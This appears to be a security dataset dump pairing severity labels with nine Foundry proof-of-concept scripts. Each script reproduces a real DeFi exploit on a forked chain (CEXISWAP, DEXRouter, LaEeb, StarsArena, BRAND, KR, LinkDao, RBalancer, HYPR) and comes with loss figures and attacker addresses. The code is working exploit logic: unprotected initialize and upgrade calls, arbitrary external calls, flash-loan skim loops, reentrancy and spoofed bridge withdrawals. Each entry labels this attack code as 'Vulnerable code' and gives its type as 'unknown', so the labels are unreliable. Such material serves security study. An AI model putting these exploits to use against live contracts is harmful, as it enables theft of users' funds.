Farseen0/scar-pairs huggingface dataset:
HIGH severity: CEXISWAP exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~30K USD$ Attacker : https://etherscan.io/address/0x060c169c4517d52c4be9a1dd53e41a3328d16f04 Attack Contract : https://etherscan.io/address/0x8c425ee62d18b65cc975767c27c42de548d133a1 Vulnerable Contract : https://etherscan.io/address/0xb8a5

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~30K USD$
// Attacker : https://etherscan.io/address/0x060c169c4517d52c4be9a1dd53e41a3328d16f04
// Attack Contract : https://etherscan.io/address/0x8c425ee62d18b65cc975767c27c42de548d133a1
// Vulnerable Contract : https://etherscan.io/address/0xb8a5890d53df78dee6182a6c0968696e827e3305
// Attack Tx : https://etherscan.io/tx/0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e

// @Analysis
// https://twitter.com/DecurityHQ/status/1704759560614126030

interface ICEXISWAP {
    function initialize(
        string memory name,
        string memory ticker,
        address _treasuryWallet,
        address _communityWallet,
        address _admin,
        address _strategy
    ) external;

    function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
}

contract CexiTest is Test {
    ICEXISWAP private constant CEXISWAP = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);
    IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    Exploiter private exploiter;

    function setUp() public {
        vm.createSelectFork("mainnet", 18_182_605);
        vm.label(address(CEXISWAP), "CEXISWAP");
        vm.label(address(USDT), "USDT");
    }

    function testExploit() public {
        exploiter = new Exploiter();
        exploiter.exploit();
        emit log_named_decimal_uint("Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 6);
    }
}

contract Exploiter {
    ICEXISWAP private constant CEXISWAP = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);
    IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    bytes32 private constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    address private immutable owner;

    constructor() {
        owner = msg.sender;
    }

    function exploit() external {
        CEXISWAP.initialize("HAX", "HAX", address(this), address(this), address(this), address(this));
        CEXISWAP.upgradeToAndCall(address(this), abi.encodePacked(this.exploit2.selector));
    }

    // function 0x1de24bbf
    function exploit2() external {
        // delegatecall
        USDT.transfer(owner, USDT.balanceOf(address(this)));
    }

    function upgradeTo(
        address newImplementation
    ) external {
        bytes32 slot = IMPLEMENTATION_SLOT;
        assembly {
            sstore(slot, newImplementation)
        }
    }
}


Vulnerability type: unknown
HIGH severity: DEXRouter exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~4K USD$ Attacker : https://bscscan.com/address/0x09039e2082a0a815908e68bd52b86f96573768e8 Attack Contract : https://bscscan.com/address/0x0f41f9146de354e5ac6bb3996e2e319dc8a3bb7f Victim Contract : https://bscscan.com/address/0x1f7cf218b46e

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~4K USD$
// Attacker : https://bscscan.com/address/0x09039e2082a0a815908e68bd52b86f96573768e8
// Attack Contract : https://bscscan.com/address/0x0f41f9146de354e5ac6bb3996e2e319dc8a3bb7f
// Victim Contract : https://bscscan.com/address/0x1f7cf218b46e613d1ba54cac11dc1b5368d94fb7
// Attack Tx : https://bscscan.com/tx/0xf77c5904da98d3d4a6e651d0846d35545ef5ca0b969132ae81a9c63e1efc2113

// @Analysis
// https://twitter.com/DecurityHQ/status/1707851321909428688

interface IDEXRouter {
    function update(address fcb, address bnb, address busd, address router) external;

    function functionCallWithValue(address target, bytes memory data, uint256 value) external;
}

contract ContractTest is Test {
    // Victim unverified contract. Name "DEXRouter" taken from parameter name in "go" function in attack contract
    IDEXRouter private constant DEXRouter = IDEXRouter(0x1f7cF218B46e613D1BA54CaC11dC1b5368d94fb7);

    function setUp() public {
        vm.createSelectFork("bsc", 32_161_325);
        vm.label(address(DEXRouter), "DEXRouter");
    }

    function testExploit() public {
        deal(address(this), 0 ether);
        emit log_named_decimal_uint("Attacker BNB balance before exploit", address(this).balance, 18);
        // DEXRouter will call back to function with selector "0xe44a73b7". Look at fallback function
        DEXRouter.update(address(this), address(this), address(this), address(this));

        // Arbitrary external call vulnerability here. DEXRouter will call back "a" payable function and next transfer BNB to this contract
        DEXRouter.functionCallWithValue(address(this), abi.encodePacked(this.a.selector), address(DEXRouter).balance);

        emit log_named_decimal_uint("Attacker BNB balance after exploit", address(this).balance, 18);
    }

    function a() external payable returns (bool) {
        return true;
    }

    fallback(
        bytes calldata data
    ) external payable returns (bytes memory) {
        if (bytes4(data) == bytes4(0xe44a73b7)) {
            return abi.encode(true);
        }
    }
}


Vulnerability type: unknown
HIGH severity: LaEeb exploit (unknown). @KeyInfo -- Total Lost : ~1.8 WBNB TX : https://app.blocksec.com/explorer/tx/bsc/0x0d13a61e9dc81cfae324d3d80e49830d9bbae300f760e016a15600889a896a1b Attacker : https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891 Attack Contract : https://bscscan.com/address/0x9180981034364f683ea25b

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~1.8 WBNB
// TX : https://app.blocksec.com/explorer/tx/bsc/0x0d13a61e9dc81cfae324d3d80e49830d9bbae300f760e016a15600889a896a1b
// Attacker : https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891
// Attack Contract : https://bscscan.com/address/0x9180981034364f683ea25bcce0cff5e03a595bef
// GUY : https://x.com/MetaSec_xyz/status/1718964562165420076

contract Exploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IPancakePair Pair = IPancakePair(0x3921E8cb14e2C08DB989FDF88D01220a0C53cC91);
    IERC20 LaEeb = IERC20(0xa2B8A15A07385EA933088c6bcBB38B84c1051a58);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);

    function setUp() external {
        cheats.createSelectFork("bsc", 33_053_187);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
        DPP.flashLoan(8.6 ether, 0, address(this), abi.encode("Attack"));
        emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        swap_token_to_token(address(WBNB), address(LaEeb), 8.6 ether);
        uint256 i = 0;
        while (i < 10) {
            LaEeb.transfer(address(Pair), 3_255_594_269_218 ether);
            Pair.skim(address(this));
            i++;
        }
        swap_token_to_token(address(LaEeb), address(WBNB), LaEeb.balanceOf(address(this)));
        WBNB.transfer(msg.sender, baseAmount);
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(Router), amount);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }
}


Vulnerability type: unknown
HIGH severity: StarsArena exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~3M$ Attacker : https://snowtrace.io/address/0xa2ebf3fcd757e9be1e58b643b6b5077d11b4ad7a Attack Contract : https://snowtrace.io/address/0x7f283edc5ec7163de234e6a97fdfb16ff2d2c7ac Victim Contract : https://snowtrace.io/address/0xa481b139a1a65

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~3M$
// Attacker : https://snowtrace.io/address/0xa2ebf3fcd757e9be1e58b643b6b5077d11b4ad7a
// Attack Contract : https://snowtrace.io/address/0x7f283edc5ec7163de234e6a97fdfb16ff2d2c7ac
// Victim Contract : https://snowtrace.io/address/0xa481b139a1a654ca19d2074f174f17d7534e8cec
// Attack Tx : https://snowtrace.io/tx/0x4f37ffecdad598f53b8d5a2d9df98e3c00fbda4328585eb9947a412b5fe17ac5

// @Analysis
// https://twitter.com/BlockSecTeam/status/1710556926986342911
// https://twitter.com/Phalcon_xyz/status/1710554341466395065
// https://twitter.com/peckshield/status/1710555944269292009

contract ContractTest is Test {
    address private constant victimContract = 0xA481B139a1A654cA19d2074F174f17D7534e8CeC;
    bool private reenter = true;

    function setUp() public {
        vm.createSelectFork("avalanche", 36_136_405);
    }

    function testExploit() public {
        deal(address(this), 1 ether);

        emit log_named_decimal_uint("Attacker AVAX balance before exploit", address(this).balance, 18);

        (bool success,) = victimContract.call{value: 1 ether}(
            abi.encodeWithSelector(bytes4(0xe9ccf3a3), address(this), true, address(this))
        );
        require(success, "Call to function with selector 0xe9ccf3a3 fail");

        (bool success2,) = victimContract.call(abi.encodeWithSignature("sellShares(address,uint256)", address(this), 1));
        require(success2, "Call to sellShares() fail");

        emit log_named_decimal_uint("Attacker AVAX balance after exploit", address(this).balance, 18);
    }

    receive() external payable {
        if (reenter == true) {
            (bool success,) = victimContract.call(abi.encodeWithSelector(bytes4(0x5632b2e4), 91e9, 91e9, 91e9, 91e9));
            require(success, "Call to function with selector 0x5632b2e4 fail");
            reenter = false;
        }
    }
}


Vulnerability type: unknown
HIGH severity: BRAND exploit (unknown). @KeyInfo -- Total Lost : ~23 WBNB TX : https://app.blocksec.com/explorer/tx/bsc/0x19ef4febcd272643642925d5d7e9ab8fd3ed8785c5e3268f5b6fee44ae6b4a34 Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502 Attack Contract : https://bscscan.com/address/0xf994f331409327425098fee

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~23 WBNB
// TX : https://app.blocksec.com/explorer/tx/bsc/0x19ef4febcd272643642925d5d7e9ab8fd3ed8785c5e3268f5b6fee44ae6b4a34
// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
// Attack Contract : https://bscscan.com/address/0xf994f331409327425098feecfc15db7fabf782b7
// GUY : https://x.com/MetaSec_xyz/status/1720035913009709473

contract Exploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IPancakePair Pair = IPancakePair(0x88fF4f62A75733C0f5afe58672121568a680DE84);
    IERC20 BRAND = IERC20(0x4d993ec7b44276615bB2F6F20361AB34FbF0ec49);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
    address Vulncontract = 0x831d6F9AA6AF85CeAD4ccEc9B859c64421EEeFD4;

    function setUp() external {
        cheats.createSelectFork("bsc", 33_139_124);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
        DPP.flashLoan(300 ether, 0, address(this), abi.encode(3));
        emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        swap_token_to_token(address(WBNB), address(BRAND), 300 ether);
        uint256 i = 0;
        while (i < 100) {
            address(Vulncontract).call(abi.encodeWithSignature("buyToken()"));
            i++;
        }
        swap_token_to_token(address(BRAND), address(WBNB), BRAND.balanceOf(address(this)));
        WBNB.transfer(msg.sender, baseAmount);
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(Router), amount);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }
}


Vulnerability type: unknown
HIGH severity: KR exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~5 $ETH Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502 Vulnerable Contract : https://bscscan.com/address/0x15b1ed79ca9d7955af3e169d7b323c4f1eeb5d12 Attack Tx : https://bscscan.com/tx/0x2abf871eb91d03bc8145

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~5 $ETH
// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
// Vulnerable Contract : https://bscscan.com/address/0x15b1ed79ca9d7955af3e169d7b323c4f1eeb5d12
// Attack Tx : https://bscscan.com/tx/0x2abf871eb91d03bc8145bf2a415e79132a103ae9f2b5bbf18b8342ea9207ccd7

import "forge-std/Test.sol";
import "./../interface.sol";

interface IKR is IERC20 {
    function sellKr(
        uint256 tokenToSell
    ) external;
}

contract ContractTest is Test {
    IERC20 BNBX = IERC20(0xF662457774bb0729028EA681BB2C001790999999);
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IKR KR = IKR(0x15b1Ed79cA9D7955AF3E169d7B323c4F1eeb5D12);
    uint256 tokenToSell;

    function setUp() public {
        vm.createSelectFork("bsc", 33_267_985 - 1);
        vm.label(address(KR), "KR");
        vm.label(address(BUSD), "BUSD");
    }

    function testExploit() public {
        BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));
        emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));
        tokenToSell = KR.balanceOf(address(0xAD1e7BF0A469b7B912D2B9d766d0C93291cA2656)) * 94 / 100;
        KR.sellKr(tokenToSell);
        emit log_named_decimal_uint("Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), 18);
    }

    fallback() external payable {}
    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: LinkDao exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~$30K Attacker : https://bscscan.com/address/0xdf6b0200b4e1bc4a310f33df95a9087cc2c79038 Attack Contract : https://bscscan.com/address/0x721a66c7767103e7dcacf8440e8dd074edff40a8 Vulnerable Contract : https://bscscan.com/address/0x6524a5fd3fe

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

// @KeyInfo - Total Lost : ~$30K
// Attacker : https://bscscan.com/address/0xdf6b0200b4e1bc4a310f33df95a9087cc2c79038
// Attack Contract : https://bscscan.com/address/0x721a66c7767103e7dcacf8440e8dd074edff40a8
// Vulnerable Contract : https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de
// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x4ed59e3013215c272536775a966f4365112997a6eec534d38325be014f2e15ee

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de#code

// @Analysis
// Twitter Guy : https://x.com/phalcon_xyz/status/1725058908144746992

interface IUniswapV2Pair {
    event Transfer(address indexed from, address indexed to, uint256 value);

    function balanceOf(
        address owner
    ) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );

    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

contract LinkDao_exp is Test {
    address immutable r = address(this);

    receive() external payable {}

    function setUp() public {
        vm.createSelectFork("bsc", 33_527_744);
        // vm.createSelectFork("https://rpc.ankr.com/bsc", bytes32(0x4ed59e3013215c272536775a966f4365112997a6eec534d38325be014f2e15ee));
    }

    IUniswapV2Pair constant x55d3 = IUniswapV2Pair(0x55d398326f99059fF775485246999027B3197955);
    IUniswapV2Pair constant x6524 = IUniswapV2Pair(0x6524a5Fd3FEc179Db3b3C1d21F700Da7aBE6B0de);

    function test() public {
        // vm.prank(0xdF6B0200B4e1Bc4a310F33DF95a9087cC2C79038, 0xdF6B0200B4e1Bc4a310F33DF95a9087cC2C79038);
        x2effb772();
    }

    function x2effb772() public {
        x55d3.balanceOf(address(x6524));
        x6524.swap(29_663_356_140_000_000_000_000, 0, r, hex"313233");
    }

    function xdc6eaaa9() public {
        x55d3.transfer(address(x6524), 1_000_000_000_000_000_000);
    }

    fallback() external payable {
        bytes4 selector = bytes4(msg.data);
        if (selector == 0xdc6eaaa9) {
            return xdc6eaaa9();
        }
        revert("no such function");
    }
}


Vulnerability type: unknown
HIGH severity: RBalancer exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo -- Total Lost : ~17  ETH TX : https://app.blocksec.com/explorer/tx/eth/0xbf5b2d22fa88965ddfc6e6d685fc7cfc683340c49e126386759ed9e4027b1415 Attacker : https://etherscan.io/address/0x9abe851bcc4fd1986c3d1ef8978fad86a26a0c57 Attack Contract : https://ethersca

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~17  ETH
// TX : https://app.blocksec.com/explorer/tx/eth/0xbf5b2d22fa88965ddfc6e6d685fc7cfc683340c49e126386759ed9e4027b1415
// Attacker : https://etherscan.io/address/0x9abe851bcc4fd1986c3d1ef8978fad86a26a0c57
// Attack Contract : https://etherscan.io/address/0x9c52c485edd3d22847a1614b8988fbf520b33047
// GUY : https://x.com/AnciliaInc/status/1722121056083943909

contract ContractTest is Test {
    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 Stone = IERC20(0x7122985656e38BDC0302Db86685bb972b145bD3C);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    address Vulncontract = 0xA62F9C5af106FeEE069F38dE51098D9d81B90572;

    function setUp() public {
        vm.createSelectFork("mainnet", 18_523_440);
    }

    function testExpolit() public {
        emit log_named_decimal_uint(
            "attacker WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
        );
        emit log_named_decimal_uint("attacker balance before attack", address(this).balance, 18);

        attack();

        emit log_named_decimal_uint(
            "attacker WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
        );
        emit log_named_decimal_uint("attacker balance after attack", address(this).balance, 18);
    }

    function attack() public {
        address(Vulncontract).call{value: 8600 ether}(abi.encodeWithSelector(bytes4(0xd0e30db0)));

        address(Vulncontract).call(abi.encodeWithSelector(bytes4(0x5069fb57)));

        Stone.approve(address(Vulncontract), type(uint256).max);

        address(Vulncontract).call(abi.encodeWithSelector(bytes4(0xb18f2e91), 0, 8_582_162_020_025_013_545_654));
    }

    fallback() external payable {}
}


Vulnerability type: unknown
HIGH severity: HYPR exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~200K USD$ Attacker : https://etherscan.io/address/0x3ea6ba6d3415e4dfd380516c799aafa94e420519 Attack Contract : https://etherscan.io/address/0xba6fa6e8500cd8eeda8ebb9dfbcc554ff4a3eb77 Vulnerable Contract : https://etherscan.io/address/0x40c

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~200K USD$
// Attacker : https://etherscan.io/address/0x3ea6ba6d3415e4dfd380516c799aafa94e420519
// Attack Contract : https://etherscan.io/address/0xba6fa6e8500cd8eeda8ebb9dfbcc554ff4a3eb77
// Vulnerable Contract : https://etherscan.io/address/0x40c31236b228935b0329eff066b1ad96e319595e
// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0x51ce3d9cfc85c1f6a532b908bb2debb16c7569eb8b76effe614016aac6635f65

// @Analysis
// https://twitter.com/BlockSecTeam/status/1735197818883588574
// https://twitter.com/MevRefund/status/1734791082376941810

interface IL1ChugSplashProxy {
    function initialize(
        address _messenger
    ) external;

    function finalizeERC20Withdrawal(
        address _l1Token,
        address _l2Token,
        address _from,
        address _to,
        uint256 _amount,
        bytes memory _extraData
    ) external;
}

contract ContractTest is Test {
    IERC20 private constant HYPR = IERC20(0x31aDdA225642a8f4D7e90d4152BE6661ab22a5a2);
    IL1ChugSplashProxy private constant ChugSplash = IL1ChugSplashProxy(0x40C31236B228935b0329eFF066B1AD96e319595e);
    address private constant messageSender = 0x4200000000000000000000000000000000000010;
    address private constant l2Token = 0xD7a421A6786cF4951a8FaE10385680222D63f89a;

    function setUp() public {
        vm.createSelectFork("mainnet", 18_774_584);
        vm.label(address(HYPR), "HYPR");
        vm.label(address(ChugSplash), "ChugSplash");
        vm.label(messageSender, "messageSender");
        vm.label(l2Token, "l2Token");
    }

    function testExploit() public {
        emit log_named_decimal_uint(
            "Exploiter HYPR balance before attack", HYPR.balanceOf(address(this)), HYPR.decimals()
        );

        ChugSplash.initialize(address(this));
        ChugSplash.finalizeERC20Withdrawal(
            address(HYPR), l2Token, address(ChugSplash), address(this), 2_570_000 * 1e18, bytes("")
        );

        emit log_named_decimal_uint(
            "Exploiter HYPR balance after attack", HYPR.balanceOf(address(this)), HYPR.decimals()
        );
    }

    function xDomainMessageSender() external view returns (address) {
        return messageSender;
    }
}


Vulnerability type: unknown